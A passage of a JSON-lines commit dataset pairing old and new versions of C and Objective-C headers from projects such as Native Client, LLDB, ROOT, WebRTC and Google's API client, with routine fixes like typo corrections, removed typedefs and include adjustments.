default\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"08b2bc83dbf7db69f59cc3b7ce0a23c735eee7a6","old_file":"src\/untrusted\/irt\/irt_ppapi.h","new_file":"src\/untrusted\/irt\/irt_ppapi.h","old_contents":"\/*\n * Copyright (c) 2011 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef NATIVE_CLIENT_SRC_UNTRUSTED_IRT_IRT_PPAPI_H_\n#define NATIVE_CLIENT_SRC_UNTRUSTED_IRT_IRT_PPAPI_H_ 1\n\n#include <stddef.h>\n\n#include \"ppapi\/c\/ppp.h\"\n\nstruct PP_StartFunctions {\n  int32_t (*PPP_InitializeModule)(PP_Module module_id,\n                                  PPB_GetInterface get_browser_interface);\n  void (*PPP_ShutdownModule)();\n  const void *(*PPP_GetInterface)(const char *interface_name);\n};\n\nstruct PP_ThreadFunctions {\n  \/*\n   * This is a cut-down version of pthread_create()\/pthread_join().\n   * We omit thread creation attributes and the thread's return value.\n   *\n   * We use uintptr_t as the thread ID type because pthread_t is not\n   * part of the stable ABI; a user thread library might choose an\n   * arbitrary size for its own pthread_t.\n   *\/\n  int (*thread_create)(uintptr_t *tid,\n                       void (*func)(void *thread_argument),\n                       void *thread_argument);\n  int (*thread_join)(uintptr_t tid);\n};\n\ntypedef void (*PP_StartFunc)(const struct PP_StartFunctions *funcs);\ntypedef void (*PP_RegisterThreadFuncs)(const struct PP_ThreadFunctions *funcs);\n\n#endif\n","new_contents":"\/*\n * Copyright (c) 2011 The Native Client Authors. All rights reserved.\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef NATIVE_CLIENT_SRC_UNTRUSTED_IRT_IRT_PPAPI_H_\n#define NATIVE_CLIENT_SRC_UNTRUSTED_IRT_IRT_PPAPI_H_ 1\n\n#include <stddef.h>\n\n#include \"ppapi\/c\/ppp.h\"\n\nstruct PP_StartFunctions {\n  int32_t (*PPP_InitializeModule)(PP_Module module_id,\n                                  PPB_GetInterface get_browser_interface);\n  void (*PPP_ShutdownModule)();\n  const void *(*PPP_GetInterface)(const char *interface_name);\n};\n\nstruct PP_ThreadFunctions {\n  \/*\n   * This is a cut-down version of pthread_create()\/pthread_join().\n   * We omit thread creation attributes and the thread's return value.\n   *\n   * We use uintptr_t as the thread ID type because pthread_t is not\n   * part of the stable ABI; a user thread library might choose an\n   * arbitrary size for its own pthread_t.\n   *\/\n  int (*thread_create)(uintptr_t *tid,\n                       void (*func)(void *thread_argument),\n                       void *thread_argument);\n  int (*thread_join)(uintptr_t tid);\n};\n\n#endif\n","subject":"Remove two unused PPAPI-related typedefs","message":"Remove two unused PPAPI-related typedefs\n\nThese typedefs are left over from an earlier iteration of the IRT\ninterface (prior to the interface being stabilised) which was removed\nin r5108.\n\nBUG=none\nTEST=build\n\nReview URL: https:\/\/codereview.chromium.org\/11016034\n\ngit-svn-id: 721b910a23eff8a86f00c8fd261a7587cddf18f8@9913 fcba33aa-ac0c-11dd-b9e7-8d5594d729c2\n","lang":"C","license":"bsd-3-clause","repos":"sbc100\/native_client,nacl-webkit\/native_client,sbc100\/native_client,nacl-webkit\/native_client,nacl-webkit\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,sbc100\/native_client,nacl-webkit\/native_client,nacl-webkit\/native_client"}
{"commit":"756875db5caa3eb90a02309d3fed22dd33a10999","old_file":"include\/lldb\/Host\/HostGetOpt.h","new_file":"include\/lldb\/Host\/HostGetOpt.h","old_contents":"\/\/===-- GetOpt.h ------------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#pragma once\n\n#ifndef _MSC_VER\n\n#include <unistd.h>\n#include <getopt.h>\n\n#else\n\n#include <lldb\/Host\/windows\/GetOptInc.h>\n\n#endif","new_contents":"\/\/===-- GetOpt.h ------------------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#pragma once\n\n#ifndef _MSC_VER\n\n#include <unistd.h>\n#include <getopt.h>\n\n#else\n\n#include <lldb\/Host\/windows\/GetOptInc.h>\n\n#endif\n","subject":"Add newline at end of file, clang compiler warning.","message":"Add newline at end of file, clang compiler warning.\n\n\ngit-svn-id: 4c4cc70b1ef44ba2b7963015e681894188cea27e@201743 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb,apple\/swift-lldb,llvm-mirror\/lldb,apple\/swift-lldb,apple\/swift-lldb,apple\/swift-lldb,llvm-mirror\/lldb,llvm-mirror\/lldb"}
{"commit":"91a0c9a9633a1d795934091fec5abd053730758c","old_file":"hist\/inc\/TH1I.h","new_file":"hist\/inc\/TH1I.h","old_contents":"\/\/ @(#)root\/hist:$Name:  $:$Id: TH1I.h,v 1.1 2002\/05\/18 11:02:49 brun Exp $\n\/\/ Author: Rene Brun   08\/09\/2003\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TH1I\n#define ROOT_TH1I\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TH1I                                                                 \/\/\n\/\/                                                                      \/\/\n\/\/ 1-Dim histogram with a 4 bits integer per channel                    \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef ROOT_TH1\n#include \"TH1.h\"\n#endif\n\n#endif\n","new_contents":"\/\/ @(#)root\/hist:$Name:  $:$Id: TH1I.h,v 1.1 2003\/09\/08 12:50:23 brun Exp $\n\/\/ Author: Rene Brun   08\/09\/2003\n\n\/*************************************************************************\n * Copyright (C) 1995-2000, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#ifndef ROOT_TH1I\n#define ROOT_TH1I\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/                                                                      \/\/\n\/\/ TH1I                                                                 \/\/\n\/\/                                                                      \/\/\n\/\/ 1-Dim histogram with a 32 bits integer per channel                   \/\/\n\/\/                                                                      \/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#ifndef ROOT_TH1\n#include \"TH1.h\"\n#endif\n\n#endif\n","subject":"Fix a typo (thanks to Robert Hatcher)","message":"Fix a typo (thanks to Robert Hatcher)\n\n\ngit-svn-id: acec3fd5b7ea1eb9e79d6329d318e8118ee2e14f@10919 27541ba8-7e3a-0410-8455-c3a389f83636\n","lang":"C","license":"lgpl-2.1","repos":"omazapa\/root-old,arch1tect0r\/root,perovic\/root,nilqed\/root,CristinaCristescu\/root,esakellari\/my_root_for_test,simonpf\/root,abhinavmoudgil95\/root,simonpf\/root,mattkretz\/root,Y--\/root,tc3t\/qoot,veprbl\/root,0x0all\/ROOT,buuck\/root,sbinet\/cxx-root,omazapa\/root,smarinac\/root,simonpf\/root,bbockelm\/root,beniz\/root,vukasinmilosevic\/root,buuck\/root,nilqed\/root,ffurano\/root5,omazapa\/root,olifre\/root,dfunke\/root,Duraznos\/root,krafczyk\/root,omazapa\/root-old,ffurano\/root5,CristinaCristescu\/root,perovic\/root,georgtroska\/root,smarinac\/root,davidlt\/root,satyarth934\/root,0x0all\/ROOT,mkret2\/root,gganis\/root,simonpf\/root,evgeny-boger\/root,Duraznos\/root,abhinavmoudgil95\/root,BerserkerTroll\/root,arch1tect0r\/root,omazapa\/root,mkret2\/root,esakellari\/my_root_for_test,Y--\/root,mattkretz\/root,CristinaCristescu\/root,lgiommi\/root,beniz\/root,sbinet\/cxx-root,veprbl\/root,pspe\/root,nilqed\/root,simonpf\/root,karies\/root,beniz\/root,bbockelm\/root,CristinaCristescu\/root,lgiommi\/root,BerserkerTroll\/root,zzxuanyuan\/root-compressor-dummy,pspe\/root,bbockelm\/root,gbitzes\/root,0x0all\/ROOT,agarciamontoro\/root,vukasinmilosevic\/root,zzxuanyuan\/root-compressor-dummy,strykejern\/TTreeReader,agarciamontoro\/root,arch1tect0r\/root,root-mirror\/root,olifre\/root,abhinavmoudgil95\/root,perovic\/root,satyarth934\/root,satyarth934\/root,strykejern\/TTreeReader,esakellari\/root,Y--\/root,BerserkerTroll\/root,evgeny-boger\/root,sirinath\/root,davidlt\/root,bbockelm\/root,evgeny-boger\/root,veprbl\/root,mattkretz\/root,perovic\/root,abhinavmoudgil95\/root,zzxuanyuan\/root,vukasinmilosevic\/root,mattkretz\/root,Duraznos\/root,bbockelm\/root,alexschlueter\/cern-root,buuck\/root,omazapa\/root-old,mhuwiler\/rootauto,sawenzel\/root,davidlt\/root,zzxuanyuan\/root,sbinet\/cxx-root,perovic\/root,olifre\/root,lgiommi\/root,zzxuanyuan\/root-compressor-dummy,lgiommi\/root,CristinaCristescu\/root,omazapa\/root-old,zzxuanyuan\/root-compressor-dummy,mkret2\/root,zzxuanyuan\/root-compressor-dummy,bbockelm\/root,simonpf\/root,dfunke\/root,tc3t\/qoot,strykejern\/TTreeReader,dfunke\/root,arch1tect0r\/root,sirinath\/root,evgeny-boger\/root,mattkretz\/root,Dr15Jones\/root,jrtomps\/root,smarinac\/root,davidlt\/root,sbinet\/cxx-root,davidlt\/root,arch1tect0r\/root,satyarth934\/root,dfunke\/root,beniz\/root,jrtomps\/root,alexschlueter\/cern-root,vukasinmilosevic\/root,jrtomps\/root,thomaskeck\/root,zzxuanyuan\/root,krafczyk\/root,arch1tect0r\/root,dfunke\/root,Y--\/root,arch1tect0r\/root,zzxuanyuan\/root-compressor-dummy,veprbl\/root,sirinath\/root,georgtroska\/root,smarinac\/root,nilqed\/root,karies\/root,davidlt\/root,esakellari\/my_root_for_test,cxx-hep\/root-cern,vukasinmilosevic\/root,satyarth934\/root,esakellari\/root,pspe\/root,esakellari\/my_root_for_test,gganis\/root,kirbyherm\/root-r-tools,sawenzel\/root,krafczyk\/root,pspe\/root,sirinath\/root,evgeny-boger\/root,Dr15Jones\/root,veprbl\/root,veprbl\/root,nilqed\/root,vukasinmilosevic\/root,gbitzes\/root,beniz\/root,tc3t\/qoot,mkret2\/root,BerserkerTroll\/root,gganis\/root,0x0all\/ROOT,esakellari\/root,esakellari\/root,karies\/root,agarciamontoro\/root,bbockelm\/root,agarciamontoro\/root,arch1tect0r\/root,arch1tect0r\/root,sbinet\/cxx-root,ffurano\/root5,mhuwiler\/rootauto,jrtomps\/root,karies\/root,abhinavmoudgil95\/root,tc3t\/qoot,thomaskeck\/root,mkret2\/root,olifre\/root,kirbyherm\/root-r-tools,mattkretz\/root,zzxuanyuan\/root-compressor-dummy,sirinath\/root,esakellari\/root,root-mirror\/root,davidlt\/root,tc3t\/qoot,satyarth934\/root,Duraznos\/root,georgtroska\/root,mhuwiler\/rootauto,BerserkerTroll\/root,nilqed\/root,zzxuanyuan\/root-compressor-dummy,tc3t\/qoot,agarciamontoro\/root,pspe\/root,thomaskeck\/root,smarinac\/root,olifre\/root,pspe\/root,kirbyherm\/root-r-tools,Y--\/root,tc3t\/qoot,0x0all\/ROOT,olifre\/root,beniz\/root,sbinet\/cxx-root,sawenzel\/root,sawenzel\/root,georgtroska\/root,smarinac\/root,Duraznos\/root,esakellari\/root,esakellari\/root,root-mirror\/root,gganis\/root,ffurano\/root5,zzxuanyuan\/root-compressor-dummy,omazapa\/root,bbockelm\/root,sbinet\/cxx-root,mhuwiler\/rootauto,pspe\/root,sirinath\/root,krafczyk\/root,abhinavmoudgil95\/root,karies\/root,tc3t\/qoot,0x0all\/ROOT,omazapa\/root-old,arch1tect0r\/root,mkret2\/root,cxx-hep\/root-cern,georgtroska\/root,evgeny-boger\/root,davidlt\/root,jrtomps\/root,esakellari\/my_root_for_test,mhuwiler\/rootauto,karies\/root,alexschlueter\/cern-root,mhuwiler\/rootauto,0x0all\/ROOT,sawenzel\/root,bbockelm\/root,agarciamontoro\/root,Duraznos\/root,tc3t\/qoot,gganis\/root,zzxuanyuan\/root-compressor-dummy,davidlt\/root,lgiommi\/root,gbitzes\/root,Duraznos\/root,zzxuanyuan\/root,krafczyk\/root,olifre\/root,vukasinmilosevic\/root,BerserkerTroll\/root,tc3t\/qoot,mattkretz\/root,kirbyherm\/root-r-tools,thomaskeck\/root,Duraznos\/root,mkret2\/root,omazapa\/root,Y--\/root,sawenzel\/root,root-mirror\/root,thomaskeck\/root,zzxuanyuan\/root,olifre\/root,georgtroska\/root,veprbl\/root,simonpf\/root,karies\/root,arch1tect0r\/root,gbitzes\/root,esakellari\/my_root_for_test,buuck\/root,buuck\/root,gganis\/root,abhinavmoudgil95\/root,jrtomps\/root,olifre\/root,0x0all\/ROOT,Dr15Jones\/root,Dr15Jones\/root,georgtroska\/root,georgtroska\/root,veprbl\/root,esakellari\/root,lgiommi\/root,krafczyk\/root,0x0all\/ROOT,mattkretz\/root,krafczyk\/root,smarinac\/root,evgeny-boger\/root,dfunke\/root,BerserkerTroll\/root,karies\/root,cxx-hep\/root-cern,jrtomps\/root,CristinaCristescu\/root,perovic\/root,root-mirror\/root,root-mirror\/root,sawenzel\/root,perovic\/root,satyarth934\/root,beniz\/root,omazapa\/root,jrtomps\/root,lgiommi\/root,gbitzes\/root,Y--\/root,thomaskeck\/root,thomaskeck\/root,mattkretz\/root,nilqed\/root,perovic\/root,evgeny-boger\/root,sirinath\/root,satyarth934\/root,agarciamontoro\/root,omazapa\/root-old,alexschlueter\/cern-root,beniz\/root,BerserkerTroll\/root,omazapa\/root,kirbyherm\/root-r-tools,sirinath\/root,vukasinmilosevic\/root,smarinac\/root,lgiommi\/root,satyarth934\/root,satyarth934\/root,abhinavmoudgil95\/root,mhuwiler\/rootauto,sirinath\/root,omazapa\/root-old,georgtroska\/root,evgeny-boger\/root,karies\/root,evgeny-boger\/root,esakellari\/root,mkret2\/root,gbitzes\/root,strykejern\/TTreeReader,jrtomps\/root,buuck\/root,davidlt\/root,gbitzes\/root,gbitzes\/root,agarciamontoro\/root,smarinac\/root,dfunke\/root,thomaskeck\/root,agarciamontoro\/root,omazapa\/root,gbitzes\/root,krafczyk\/root,vukasinmilosevic\/root,gbitzes\/root,perovic\/root,zzxuanyuan\/root,buuck\/root,root-mirror\/root,sawenzel\/root,CristinaCristescu\/root,beniz\/root,ffurano\/root5,omazapa\/root-old,ffurano\/root5,esakellari\/my_root_for_test,abhinavmoudgil95\/root,buuck\/root,mhuwiler\/rootauto,zzxuanyuan\/root,mattkretz\/root,mhuwiler\/rootauto,simonpf\/root,sbinet\/cxx-root,perovic\/root,abhinavmoudgil95\/root,BerserkerTroll\/root,buuck\/root,mattkretz\/root,krafczyk\/root,sbinet\/cxx-root,lgiommi\/root,mkret2\/root,olifre\/root,Y--\/root,Duraznos\/root,cxx-hep\/root-cern,lgiommi\/root,smarinac\/root,pspe\/root,kirbyherm\/root-r-tools,pspe\/root,dfunke\/root,gganis\/root,mkret2\/root,beniz\/root,alexschlueter\/cern-root,zzxuanyuan\/root,vukasinmilosevic\/root,gganis\/root,sbinet\/cxx-root,vukasinmilosevic\/root,cxx-hep\/root-cern,pspe\/root,cxx-hep\/root-cern,cxx-hep\/root-cern,CristinaCristescu\/root,sirinath\/root,strykejern\/TTreeReader,satyarth934\/root,veprbl\/root,simonpf\/root,sawenzel\/root,CristinaCristescu\/root,georgtroska\/root,simonpf\/root,perovic\/root,veprbl\/root,gganis\/root,lgiommi\/root,zzxuanyuan\/root,jrtomps\/root,gganis\/root,gbitzes\/root,buuck\/root,omazapa\/root-old,krafczyk\/root,buuck\/root,alexschlueter\/cern-root,omazapa\/root,simonpf\/root,Y--\/root,pspe\/root,esakellari\/root,BerserkerTroll\/root,Dr15Jones\/root,jrtomps\/root,karies\/root,zzxuanyuan\/root,zzxuanyuan\/root,abhinavmoudgil95\/root,olifre\/root,agarciamontoro\/root,esakellari\/my_root_for_test,thomaskeck\/root,Y--\/root,bbockelm\/root,veprbl\/root,Duraznos\/root,nilqed\/root,root-mirror\/root,alexschlueter\/cern-root,Duraznos\/root,sawenzel\/root,zzxuanyuan\/root-compressor-dummy,dfunke\/root,mkret2\/root,davidlt\/root,beniz\/root,sawenzel\/root,strykejern\/TTreeReader,sbinet\/cxx-root,dfunke\/root,omazapa\/root,evgeny-boger\/root,gganis\/root,ffurano\/root5,root-mirror\/root,thomaskeck\/root,agarciamontoro\/root,nilqed\/root,krafczyk\/root,esakellari\/root,georgtroska\/root,omazapa\/root-old,Dr15Jones\/root,mhuwiler\/rootauto,sirinath\/root,omazapa\/root-old,nilqed\/root,root-mirror\/root,esakellari\/my_root_for_test,cxx-hep\/root-cern,dfunke\/root,omazapa\/root,nilqed\/root,CristinaCristescu\/root,root-mirror\/root,Y--\/root,CristinaCristescu\/root,mhuwiler\/rootauto,bbockelm\/root,esakellari\/my_root_for_test,zzxuanyuan\/root,BerserkerTroll\/root,strykejern\/TTreeReader,kirbyherm\/root-r-tools,karies\/root,Dr15Jones\/root"}
{"commit":"aebaf3931443eadaba8519dc96a25026e03eaf27","old_file":"FastEasyMapping\/Source\/Core\/Store\/FEMManagedObjectStore.h","new_file":"FastEasyMapping\/Source\/Core\/Store\/FEMManagedObjectStore.h","old_contents":"\/\/ For License please refer to LICENSE file in the root of FastEasyMapping project\n\n#import \"FEMObjectStore.h\"\n\n@class NSManagedObjectContext;\n\n@interface FEMManagedObjectStore : FEMObjectStore\n\n- (nonnull instancetype)initWithContext:(nonnull NSManagedObjectContext *)context NS_DESIGNATED_INITIALIZER;\n@property (nonatomic, strong, readonly, nonnull) NSManagedObjectContext *context;\n\n@property (nonatomic) BOOL saveContextOnCommit;\n\n@end","new_contents":"\/\/ For License please refer to LICENSE file in the root of FastEasyMapping project\n\n#import \"FEMObjectStore.h\"\n\nNS_ASSUME_NONNULL_BEGIN\n\n@class NSManagedObjectContext;\n\n@interface FEMManagedObjectStore : FEMObjectStore\n\n- (instancetype)init NS_UNAVAILABLE;\n\n- (instancetype)initWithContext:(NSManagedObjectContext *)context NS_DESIGNATED_INITIALIZER;\n@property (nonatomic, strong, readonly) NSManagedObjectContext *context;\n\n@property (nonatomic) BOOL saveContextOnCommit;\n\n@end\n\nNS_ASSUME_NONNULL_END","subject":"Mark init as unavailable for ObjectStore","message":"Mark init as unavailable for ObjectStore\n","lang":"C","license":"mit","repos":"k06a\/FastEasyMapping"}
{"commit":"16d5bae3963950082447dad230f827a134f0cc68","old_file":"webrtc\/system_wrappers\/include\/critical_section_wrapper.h","new_file":"webrtc\/system_wrappers\/include\/critical_section_wrapper.h","old_contents":"","new_contents":"\/*\n *  Copyright 2017 The WebRTC Project Authors. All rights reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n#ifndef WEBRTC_SYSTEM_WRAPPERS_INCLUDE_CRITICAL_SECTION_WRAPPER_H_\n#define WEBRTC_SYSTEM_WRAPPERS_INCLUDE_CRITICAL_SECTION_WRAPPER_H_\n#endif  \/\/ WEBRTC_SYSTEM_WRAPPERS_INCLUDE_CRITICAL_SECTION_WRAPPER_H_\n","subject":"Add empty header to fix internal project.","message":"Add empty header to fix internal project.\n\nBUG=None\nTBR=tommi@webrtc.org\n\nReview-Url: https:\/\/codereview.webrtc.org\/2790493006\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#17492}\n","lang":"C","license":"bsd-3-clause","repos":"TimothyGu\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,ShiftMediaProject\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc"}
{"commit":"431a554ee2e450eae7eaceaf3c5d9c055b746ef8","old_file":"Pod\/Classes\/SEEngineProtocol.h","new_file":"Pod\/Classes\/SEEngineProtocol.h","old_contents":"\/\/\n\/\/  SEEngineProtocol.h\n\/\/  Pods\n\/\/\n\/\/  Created by Danil Tulin on 3\/14\/16.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol EngineProtocol <NSObject>\n\n@required\n\n- (void)feedBGRAImageData:(u_int8_t *)data\n\t\t\t\t\twidth:(NSUInteger)width\n\t\t\t\t   height:(NSUInteger)height;\n\n@property (nonatomic) float progress;\n@property (nonatomic) BOOL isAbleToProcess;\n\n@end\n","new_contents":"\/\/\n\/\/  SEEngineProtocol.h\n\/\/  Pods\n\/\/\n\/\/  Created by Danil Tulin on 3\/14\/16.\n\/\/\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol EngineProtocol <NSObject>\n\n@required\n\n- (void)feedBGRAImageData:(u_int8_t *)data\n\t\t\t\t\twidth:(NSUInteger)width\n\t\t\t\t   height:(NSUInteger)height;\n\n@property (nonatomic) float progress;\n@property (nonatomic) BOOL isAbleToProcess;\n\n- (void)startSession;\n- (void)stopSession;\n\n@end\n","subject":"Add start \/ stop session methods","message":"Add start \/ stop session methods\n","lang":"C","license":"mit","repos":"tulindanil\/SEUIKit"}
{"commit":"7377733e9bce6e5e38b913414f9173395b7d6448","old_file":"src\/base\/defs.h","new_file":"src\/base\/defs.h","old_contents":"","new_contents":"\/* Various definitions needed for compatibility with various\n   compilers (MSC) and platforms (Windows).  *\/\n#ifndef BASE_DEFS_H\n#define BASE_DEFS_H\n\n#ifdef _MSC_VER\n\n#if !defined(__cplusplus)\n#define inline __inline\n#endif\n\n#define __attribute__(x)\n\n#endif\n\n#ifdef _WIN32\n\/* Target Windows XP *\/\n#define WINVER 0x0501\n#define _WIN32_WINNT 0x0501\n#endif\n\n#endif\n","subject":"Add macros for targeting Windows XP","message":"Add macros for targeting Windows XP\n","lang":"C","license":"bsd-2-clause","repos":"depp\/sglib,depp\/sglib"}
{"commit":"e3e83ed7cbf0a8bdca905ecacf29a57a99ebe01a","old_file":"Source\/Objects\/GTLBatchQuery.h","new_file":"Source\/Objects\/GTLBatchQuery.h","old_contents":"\/* Copyright (c) 2011 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/\/\n\/\/  GTLBatchQuery.h\n\/\/\n\n#import \"GTLQuery.h\"\n\n@interface GTLBatchQuery : NSObject <GTLQueryProtocol> {\n @private\n  NSMutableArray *queries_;\n  NSMutableDictionary *requestIDMap_;\n  BOOL skipAuthorization_;\n}\n\n\/\/ Queries included in this batch.  Each query should have a unique requestID.\n@property (retain) NSArray *queries;\n\n\/\/ Clients may set this to NO to disallow authorization. Defaults to YES.\n@property (assign) BOOL shouldSkipAuthorization;\n\n+ (id)batchQuery;\n+ (id)batchQueryWithQueries:(NSArray *)array;\n\n- (void)addQuery:(GTLQuery *)query;\n\n- (GTLQuery *)queryForRequestID:(NSString *)requestID;\n\n@end\n","new_contents":"\/* Copyright (c) 2011 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\/\/\n\/\/  GTLBatchQuery.h\n\/\/\n\n#import \"GTLQuery.h\"\n\n@interface GTLBatchQuery : NSObject <GTLQueryProtocol> {\n @private\n  NSMutableArray *queries_;\n  NSMutableDictionary *requestIDMap_;\n  BOOL skipAuthorization_;\n}\n\n\/\/ Queries included in this batch.  Each query should have a unique requestID.\n@property (retain) NSArray *queries;\n\n\/\/ Clients may set this to YES to disallow authorization. Defaults to NO.\n@property (assign) BOOL shouldSkipAuthorization;\n\n+ (id)batchQuery;\n+ (id)batchQueryWithQueries:(NSArray *)array;\n\n- (void)addQuery:(GTLQuery *)query;\n\n- (GTLQuery *)queryForRequestID:(NSString *)requestID;\n\n@end\n","subject":"Fix comment on shouldSkipAuthorization property","message":"Fix comment on shouldSkipAuthorization property","lang":"C","license":"apache-2.0","repos":"creationst\/google-api-objectivec-client"}
{"commit":"cb0996871bc25a7f4687130bcd7ca706c15d1474","old_file":"test\/tools\/know_btye_sequences.c","new_file":"test\/tools\/know_btye_sequences.c","old_contents":"","new_contents":"\/\/Compile this program with -O0\n#include <stdlib.h>\n#include <unistd.h>\n\nint main(void) {\n    char *in_data_segment[] = \"0xC0xA0xF0xE\";\n\n    char in_stack[] = {0xd, 0xe, 0xa, 0xd, 0xb, 0xe, 0xe, 0xf};\n\n    char *in_heap = malloc(7 * sizeof(char));\n    in_heap[0] = 0xb;\n    in_heap[1] = 0xe;\n    in_heap[2] = 0xb;\n    in_heap[3] = 0xe;\n    in_heap[4] = 0xf;\n    in_heap[5] = 0xe;\n    in_heap[6] = 0x0;\n\n    for (;;) sleep(1);\n\n    return 0;\n}\n","subject":"Add a sample program for testing memory search.","message":"Add a sample program for testing memory search.\n\nThis program places known bytes sequences in the process' stack, heap\nand data segment.\n\nNOTE: This is not exhaustive.\n","lang":"C","license":"mpl-2.0","repos":"mozilla\/masche,mozilla\/masche"}
{"commit":"b18e2d7842de719b60e2902f201d745897749c4b","old_file":"mt.h","new_file":"mt.h","old_contents":"#ifndef _MATH_MT_H_\n#define _MATH_MT_H_\n\n\/\/#if defined(_MSC_VER) && (_MSC_VER <= 1600) \/\/ sufficient\n#if defined(_MSC_VER)                         \/\/ better?\ntypedef unsigned __int32 uint32_t;\n#elif defined(__linux__) || defined(__GLIBC__) || defined(__WIN32__) || defined(__APPLE__)\n#include <stdint.h>\n#elif defined(__osf__)\n#include <inttypes.h>\n#else\n#include <sys\/types.h>\n#endif\n\nenum { N = 624, M = 397 };\n\nstruct mt {\n    uint32_t mt[N];\n    int mti;\n    uint32_t seed;\n};\n\nstruct mt *mt_init(void);\nvoid mt_free(struct mt *self);\nuint32_t mt_get_seed(struct mt *self);\nvoid mt_init_seed(struct mt *self, uint32_t seed);\nvoid mt_setup_array(struct mt *self, uint32_t *array, int n);\ndouble mt_genrand(struct mt *self);\n\n#endif\n","new_contents":"#ifndef _MATH_MT_H_\n#define _MATH_MT_H_\n\n#if defined(_MSC_VER) && (_MSC_VER < 1600) \/\/ for MS Visual Studio prior to 2010\ntypedef unsigned __int32 uint32_t;\n#elif defined(__linux__) || defined(__GLIBC__) || defined(__WIN32__) || defined(_MSC_VER) || defined(__APPLE__)\n#include <stdint.h>\n#elif defined(__osf__)\n#include <inttypes.h>\n#else\n#include <sys\/types.h>\n#endif\n\nenum { N = 624, M = 397 };\n\nstruct mt {\n    uint32_t mt[N];\n    int mti;\n    uint32_t seed;\n};\n\nstruct mt *mt_init(void);\nvoid mt_free(struct mt *self);\nuint32_t mt_get_seed(struct mt *self);\nvoid mt_init_seed(struct mt *self, uint32_t seed);\nvoid mt_setup_array(struct mt *self, uint32_t *array, int n);\ndouble mt_genrand(struct mt *self);\n\n#endif\n","subject":"Include <stdint.h> for MS Visual Studio 2010 and above","message":"Include <stdint.h> for MS Visual Studio 2010 and above\n","lang":"C","license":"bsd-3-clause","repos":"amenonsen\/Math-Random-MT,amenonsen\/Math-Random-MT"}
